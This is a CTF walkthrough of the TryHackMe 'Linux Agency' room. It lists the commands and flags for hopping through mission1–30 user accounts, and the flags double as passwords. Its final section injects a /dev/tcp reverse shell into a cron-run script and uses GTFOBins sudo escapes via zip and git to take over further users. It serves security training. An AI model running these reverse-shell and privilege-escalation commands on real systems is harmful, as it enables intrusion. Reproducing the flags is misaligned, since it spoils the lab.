FINISH - Linux Agency

Room Link: https://tryhackme.com/room/linuxagency

Initial Scan

Kali

nmap -A $VICTIM

Scan all ports

Kali

nmap -sV -sT -O -p 1-65535 $VICTIM

TCP/21 - SSH

Kali

ssh agent47@$VICTIM
Password: 640509040147

Victim

grep -r "mission" /home/ 2>/dev/null

su mission1
Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}

Victim(mission1)

cd /home/mission1
ls

su mission2
Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}

Victim(mission2)

cd /home/mission2
cat flag.txt

su mission3
Password: mission3{ab1e1ae5cba688340825103f70b0f976}

Victim(mission3)

cd /home/mission3
cat flag.txt
nano flag.txt

su mission4
Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}

Victim(mission4)

cd /home/mission4/flag
cat flag.txt

su mission5
Password: mission5{bc67906710c3a376bcc7bd25978f62c0}

Victim(mission5)

cd /home/mission4/
cat .flag.txt

su mission6
Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}

Victim(mission6)

cd /home/mission5/
cat .flag/flag.txt 

su mission7
Password: mission7{53fd6b2bad6e85519c7403267225def5}

Victim(mission7)

cd /home/mission7/
cat flag.txt 

su mission8
Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}

Victim(mission8)

cd /
cat flag.txt 

su mission9
Password: mission9{ba1069363d182e1c114bef7521c898f5}

Victim(mission9)

cd /home/mission8/
grep "mission10" rockyou.txt 

su mission10
Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}

Victim(mission10)

cd /home/mission9/
grep -r "mission" . 2>/dev/null

su mission11
Password: mission11{db074d9b68f06246944b991d433180c0}

Victim(mission11)

cd /home/mission11/
env

su mission12
Password: mission12{f449a1d33d6edc327354635967f9a720}

Victim(mission12)

cd /home/mission12/
chmod +r flag.txt
cat flag.txt

su mission13
Password: mission13{076124e360406b4c98ecefddd13ddb1f}

Victim(mission13)

cd /home/mission13/
cat flag.txt
echo 'bWlzc2lvbjE0e2Q1OThkZTk1NjM5NTE0Yjk5NDE1MDc2MTdiOWU1NGQyfQo=' | base64 -d

su mission14
Password: mission14{d598de95639514b9941507617b9e54d2}

Victim(mission14)

cd /home/mission14/
cat flag.txt

su mission15
Password: mission15{fc4915d818bfaeff01185c3547f25596}

Victim(mission15)

cd /home/mission15/
cat flag.txt

su mission16
Password: mission16{884417d40033c4c2091b44d7c26a908e}

Victim(mission16)

cd /home/mission16/
chmod flag
./flag

su mission17
Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}

Victim(mission17)

cd /home/mission17/
ls
javac flag.java
ls
java flag

su mission18
Password: mission18{f09760649986b489cda320ab5f7917e8}

Victim(mission18)

cd /home/mission18/
ls
ruby flag.rb 

su mission19
Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}

Victim(mission19)

cd /home/mission19/
ls
gcc flag.c
ls
./a.out 

su mission20
Password:  mission20{b0482f9e90c8ad2421bf4353cd8eae1c}

Victim(mission20)

cd /home/mission20/
ls
python flag.py 

su mission21
Password: mission21{7de756aabc528b446f6eb38419318f0c}

Victim(mission21)

python -c 'import pty; pty.spawn("/bin/bash")'

su mission22
Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}

Victim(mission22)

import pty; pty.spawn("/bin/bash")
cd /home/mission22/
ls
cat flag.txt

su mission23
Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}

Victim(mission23)

cd /home/mission23/
ls
cat message.txt
grep -r "mission" /var/www/html/ 2>/dev/null

su mission24
Password: mission24{dbaeb06591a7fd6230407df3a947b89c}

Victim(mission24)

cd /home/mission24
ls
./bribe

Kali

nc -l -p 1234 > bribe

Victim(mission24)

nc -w 3 $KALI 1234 < bribe

In Ghidra we can we there is a environment variable called pocket that needs to be set, if it's set to money it will run the if statement to show the flag

Kali

ghidra

Victim(mission24)

export pocket=money
./bribe

su mission25
Password: mission25{61b93637881c87c71f220033b22a921b}

Most commands don't work, I couldn't ls or cat files

Victim(mission25)

cd /home/mission25
echo "$(</home/mission25/flag.txt )"

exit
su mission26
Password: mission26{cb6ce977c16c57f509e9f8462a120f00}

Victim(mission26)

cd /home/mission26
ls

Kali

nc -l -p 1234 > flag.jpg

Victim(mission26)

nc -w 3 $KALI 1234 < flag.jpg

Kali

nc -l -p 1234 > flag.jpg
steghide extract -sf flag.jpg 

Victim(mission26)

su mission27
Password: mission27{444d29b932124a48e7dddc0595788f4d}

Victim(mission27)

cd /home/mission27
ls
gzip -d flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
strings flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png


su mission28
Password: mission28{03556f8ca983ef4dc26d2055aef9770f}

Victim(mission28)

Dir.entries("/home/mission28/")
File.read("/home/mission28/txt.galf").reverse

exit
su mission29
Password: mission29{8192b05d8b12632586e25be74da2fff1}

Victim(mission29)

cd /home/mission29/bludit
grep -r "mission" . 2>/dev/null

su mission30
Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}

Victim(mission30)

ls -lah /home/mission30/Escalator/
cd /home/mission30/Escalator/
git log --pretty=oneline

su viktor
Password: viktor{b52c60124c0f8f85fe647021122b3d9a}

Victim(viktor)

cat /etc/crontab


su viktor
Password:

Kali

nc -lvnp 1337

Add reverse shell to script, I kept having to check and readd until dalia ran the script as there is another cronjob that resets the script

Victim(viktor)

echo "sh -i >& /dev/tcp/10.10.171.224/1337 0>&1" >> /opt/scripts/47.sh
cat /opt/scripts/47.sh

Victim(dalia)

ls
cat flag.txt

Get autocomplete

python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg

Dalia can run the zip command as silvio

Exploit: https://gtfobins.github.io/gtfobins/zip/

Victim(dalia)

sudo -l
TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'
rm $TF

Victim(silvia)

python -c 'import pty; pty.spawn("/bin/bash")'
sudo -l

Exploit:

Victim(silvia)

sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
whoami
python -c 'import pty; pty.spawn("/bin/bash")'

Last updated